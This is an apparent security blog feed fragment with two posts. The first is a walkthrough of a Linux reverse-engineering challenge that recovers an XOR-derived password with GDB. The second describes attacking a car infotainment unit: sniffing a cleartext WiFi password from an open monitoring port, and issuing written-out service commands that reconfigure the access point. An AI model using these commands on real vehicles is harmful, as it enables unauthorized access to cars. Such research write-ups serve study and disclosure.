<img src="https://lh6.googleusercontent.com/_oEe6jDmaRvd_ULYZq4kU2ys4cEwkT5G4MIHkpD8vIx8WtPUD2YC9zKGMqhjn-VdCBtGQPM_TgssIrZdYHRsJDR9qFwbjy6chJghVcS0wyW44TS-DGqHc1LDK5tI3BgIWhT7e8ns1J2UGQ7uOM55780" alt="" />

<p>Write Function: This function writes the output to the console.</p>
<img src="https://lh4.googleusercontent.com/NHq7iOa3GJJDizp4EM_L72ScyPULwZuU46xnrimQq3cUNX0sv3VlRtQF4IZHAc-vvxkFfyy7OTI9LhTyBt8bZKScjDq5iFdugyegd5SPDVIdw_rMKRRvjqIlXmD3KzEmXhsp73DLPYm-uKyulhO5clc" alt="" />

<p>Termios Structure:</p>
<p>– This function defines a local variable of type struct termios and then passes it to tcgetattr function,which fills this structure with current tty values of stdin.</p>
<p>– Next it saves all the values into local variables of another function, changes the value of c_lflag and then does a tcsetattr</p>
<img src="https://lh6.googleusercontent.com/-AAsOZ4cF9PJdTHjz7nVFnskOnD5s8Xk5yEjYExOhj6zIBvER6aTzen3vKazI2OcLnrZ7y_TbEE2tUfWW5sEbiTTm77Z-WFM2t44HR1e7Cbac-Sx1CJxJHQIi1OJB-Q-7P6nBms-sydCitp9jidWVYE" alt="" />

<p>– Then it goes and asks the user to enter the password from read function call, and supplies the buffer allocated from the previous malloc call.</p>
<p>Termios Structure Contd :</p>
<img src="https://lh4.googleusercontent.com/tgYKn-ggFhxWg0JKI_5091i9Sh0a-tqW1mlyf88D2SZ2VKUCW5xehPMNEN_s0GUaabXzCwvDh6UFoX_hG2LoaveDmiqGKeTLOyqbRRgn7u4jA31Ic_bFoGRIHd_Cqwb5z7ruqCVcWlvxqW8fKHMGQnE" alt="" />

<p>Possible Encrytion Routine:</p>
<img src="https://lh4.googleusercontent.com/-IsWPybYrqszBQTB49Z2DV4Em19V67hz1ZSCgtaKV2zm0HnTqdKqTRf-IbR180h1fUxfTVi381_9K8fo8hqnOe91KatMbJBFhbhDH2nZ5ZlE4tE_cuQ3fAiU1nG81c2HKbVnFbc_2STh29IJnaKsTos" alt="" />

<p>After running each and every instruction in GDB and then correlating their actions per the above graphs, the program flow was pretty evident.</p>
<p>Final Blow:</p>
<p>– It was found that there is a strncmp which compares two strings, s1 and s2, s2 is the string which never changes and is the value against which our password is compared, hence, and it must be our password.</p>
<p>– S1 is the string entered by us, over which some kind of logic is performed as seen from above diagrams. – As we cannot see the value of s2 in any of the code, it must be dynamically generated by some algorithm at runtime, which finally appears in the string s2 right before the comparison happens.</p>
<p>– Actually password cracking happened after adding a breakpoint at the correct instruction of comparison right before the strncmp call, which GDB peda shows the arguments to (check video)</p>
<p>–</p>
<img src="https://lh4.googleusercontent.com/g3cRFdDfPKfo5irUwxDzSimhVdVA96eSpg4d5q2MEQhldER-cYPHwIxBuYh9Jbs7j58T_fgAsNKTj3XDwOJnK20BXAl1mF24ZDSOI7urAXprSOpO1be6qSBUn-xB7ytqMHy6NdP4E18ZNZfliMyqLa4" alt="" />

<p>– Now let’s see how it looks in GDB</p>
<img src="https://lh5.googleusercontent.com/IHbsFihNmKBA_pY6Ip8RsBnwTKZ0yltYzdnqsxJKxtJ3bfdlHxg6g5ox99-bLDARM1v5KdPH4bHpJDFd9Nt3cCSDVuw709U8e5hF9pJS6H409GPcWlvSUzbJ4mIHHrpRvJxVfZG5IBIMQUUJrhJYGyI" alt="" />

<p>– Argument 0 and argument 1 to the strncmp function shown above</p>
<p>– Arg[0] – Password Entered by us – char *s1 for strncmp function</p>
<p>– Arg[1] – Password Dynamically generated by some seed value inside the code – char *s2 for strncmp function</p>
<p>Now let’s see the working use case</p>
<img src="https://lh3.googleusercontent.com/nIXmUSXnal24K8Z2StFcW96FJ0iVMb8MdvycFutJc_DNoOygcbIuPDujLoEHUvhSmVBaqsRDcQYakg5ka2OpaVILnz8LH33CQvxZflO1975VNkLj9SDL_chQHRZpjS99QNdOP89GGPpTfbI2b3868Ls" alt="" />

<p>Now both argv[0] and argv[1] match.</p>
<p>Initially I tried to reverse engineer the Encryption logic, but it was taking too much time.</p>
<p>Some points on the Encryption or Password generation routing:</p>
<p>– I observed these values for a long time</p>
<p>– All 32bits or 8bytes of the password had to match</p>
<p>– If I entered ‘A’ as the first character, it would map to 0x62 always, but if I entered it as a second character of the password it generated some new value</p>
<p>– It started me thinking that the encryption routing was something like the Enigma machine, as for every entered character it would generate different output if the position of entered character was different than what was in the previous run, this scared me. But after several trials. (It gave a feel like Enigma, but not really Enigma).</p>
<p>– I made relationship map of every character to its corresponding Hex character, for every position.</p>
<p>– After repeating this process, I could map all character to its corresponding hex value and solve the challenge. – So the logic to generate password may be some kind of rotational cipher which used a seed value and may be, is a function of current position. Couldn’t be sure about this.</p>
<p>Password was “ABCtEFG”</p>
<p>A Small video is available here for the bare bones approach.</p>
<p><a class="embed-card" href="embed/UohfjrEpX1Q">embed/UohfjrEpX1Q</a></p>

<p>Will Reverse Engineer for Food – Give me some GDB</p>
<p>I was asked to send response to this challenge in 48 hours – It was quite ecstatic when I was somehow able to do it under 12 hours.</p>
<p>Ghidra was Not available when i attempted this challenge.</p>
<h2>The actual Algorithm – It was just a simple xor with some constant value</h2>
<p>In Continuation to the Linux Reverse Engineering challenge – The Encryption Algorithm is nothing but an Xor operation between the Password in Hex Format, initialized and seen in Data Segment of the Binary.</p>
<img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-12.56.47-pm.png?w=841" alt="" />

<p>Figure 1: Read-Only Initialized data segment of the program (unk_C78 from IDA Pro, show the password here)</p>
<p>The Encryption Algorithm: – Performs Xor Operation on characters entered by us from console and stores it in s1 (Figure 2)</p>
<img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-12.57.09-pm.png?w=822" alt="" />

<p>Figure 2: Main Function Program Flow</p>
<p>– It takes the password from data section and performs an XOR with the password entered by user by taking 1bytes at a time, reversing it, shifting it to get the endianess and then send it for comparison.</p>
<img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-12.57.38-pm.png?w=531" alt="" />

<p>– XOR operation can be seen below(Figure 3)</p>
<p>Figure 3: Rotation and Xor Logic (esi and ecx, contain our xor’ed seed value and user entered seed value)</p>
<img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-12.58.07-pm.png?w=412" alt="" />

<p>Seed Value XOR Key Password</p>
<p>Figure 4: Formula</p>
<p>Hence,</p>
<p>Seed Value = 0x2389F2C26D3EC7B2 (As available in data section)</p>
<p>Little Endian = 0xB2C73E6DC2F28923</p>
<p>Seed Value when Xor’ed with password = 0xB2807828B6B1CB62 (Little Endian)</p>
<p>Hence the password should be, Password = Seed Value Xor’ed with 0xB2807828B6B1CB62 (As seen in Figure 5 – retrieved via Dynamic Analysis)</p>
<img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-12.59.00-pm.png?w=847" alt="" />

<img src="https://autohackin.wordpress.com/wp-content/uploads/2023/08/screenshot-2023-08-07-at-12.59.29-pm.png?w=828" alt="" />

<p>Figure 5: Final BreakPoint Output</p>
<p>Therefore, password = 0xB2C73E6DC2F28923 XOR 0xB2807828B6B1CB62 = 0x47464574434241 (Little Endian) So if we convert this into Ascii then we get “GFEtCBA”, now we reverse this to get into console format, as data is stored in reverse order for X86 systems, we get the PASSWORD = “ABCtEFG”.</p>
<p>It was fun to do this before the allocated time.</p>
<p>Unfortunately, I was offered the job but due a hiring freeze all the offers at the time were taken back. I stayed in touch with the technical manager for 4-5 months, then he also left that position so this did not materialise.</p>
<p>I’m Still hungry and foolish now \m/</p>
<p><a class="embed-card" href="https://youtu.be/8EMk8OEwvPg">https://youtu.be/8EMk8OEwvPg</a></p>
]]></content:encoded></item><item><title><![CDATA[What to do when you see open Ports on Infotainment ? :]]></title><description><![CDATA[For our previous popular IVI(Hack) we use the same configuration but this time for a different IVI but from the same manufacturer but from an older era of QNX. The network diagram remains the same. Th]]></description><link>https://gh0stshell.cc/what-to-do-when-you-see-open-ports-on-infotainment</link><guid isPermaLink="true">https://gh0stshell.cc/what-to-do-when-you-see-open-ports-on-infotainment</guid><category><![CDATA[automotive security]]></category><dc:creator><![CDATA[Abhijit Lamsoge]]></dc:creator><pubDate>Sat, 12 Jul 2014 20:35:00 GMT</pubDate><enclosure url="https://autohackin.wordpress.com/wp-content/uploads/2023/07/pexels-photo-244822.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>For our previous popular IVI(<a href="https://autohack.in/2023/07/26/dude-its-my-car-how-to-develop-intimacy-with-your-car/">Hack</a>) we use the same configuration but this time for a different IVI but from the same manufacturer but from an older era of QNX. The network diagram remains the same. The QConn exploit will also work <a href="https://autohack.in/2023/07/26/gh0sts-of-the-old-exploits-rooting-5-quick-servers-when-bored/">here</a>. </p>
<p>There is a specific service on this IVI that handles all aspects on Connectivity like features for ex: BT, WiFI, USB etc.</p>
<p>After a quick scan we see the below services.</p>
<p>Note: To avoid naming the vendor we change the actual service name to “hackle”</p>
<h2>Hackle’s Monitoring Service:</h2>
<p>hackle Monitor Service Port (2021) – Unauthorised monitoring of hackle’s GCF logs.
Once we are in LAN with the HU (over WIFI/BT/Carrier n/w), we can arbitrarily monitor scp process’s GCF logs, and deduce logical calls for setting up the next log.</p>
<p>If you just wrote a simple python receiver on this port – you would be able to see some real-time data from hackle service as below.</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/screenshot-2023-07-27-at-1.50.11-am.png?w=1024" alt="" /></p>
<p>There is no way in hackle to know who is monitoring our traffic.
This exploit can be used to check the semantics of hackle’s GCF function calls and list them down, for next exploit.
Traffic like WIFI AP password. For example, please see the below screen, with highlighted WIFI AP password.</p>
<p>And this can also be seen on Wireshark, as hackle send’s password’s in clear text.</p>
<p>Using above method we can collect a lot of GCF calls and can formulate our crafted GCF message and send it to hackle.</p>
<h2>Hackle’s Code Execution Service:</h2>
<p>This IVI does not have DBUS exposed on TCP/IP but it exposes another such service that can basically do the same things.</p>
<p>It has been observed even after disabling SAS port from PSS config, this exploit still works over 6010 or 6020.
For Example we have obtained something like below:-</p>
<p>CALL EHMI:6000 Wlan_ConnMngr_enableAP interfaceName=’uap0′ keyindex=0 keylist={‘12345678’} encryption=0 authentication=0 channel=6 opMode=2 countryCode=2 ssid=‘Hackable’ wpsList={WPS_MODE_OFF} broadcast_on=1 filter_mode=0 mac_list={ };</p>
<p>Now we **disable the existing AP **with
CALL EHMI:6000 Wlan_ConnMngr_disableAP interfaceName=’uap0′;
And now we modify it to say,
CALL EHMI:6000 Wlan_ConnMngr_enableAP interfaceName=’uap0′ keyindex=0 keylist={‘12345678′} encryption=0 authentication=0 channel=6 opMode=2 countryCode=2 ssid=‘DeepFried’ wpsList={WPS_MODE_OFF} broadcast_on=1filter_mode=0 mac_list={ };</p>
<p>See how easy it is to changed the AP password – Once this is done you no longer need the USB to Ethernet connection and can access the IVI over WiFi.</p>
<p><img src="https://autohackin.wordpress.com/wp-content/uploads/2023/07/screenshot-2023-07-27-at-1.50.32-am-1.png?w=1024" alt="" /></p>
<p>As HU and Exploit machine are on LAN, we can try to escalate privilege from hackle or any other service from the HU’s OS.</p>
<p>This is just another lame post whose research was done probably 8-9 years ago, before the jeep hack.</p>
]]></content:encoded></item></channel></rss>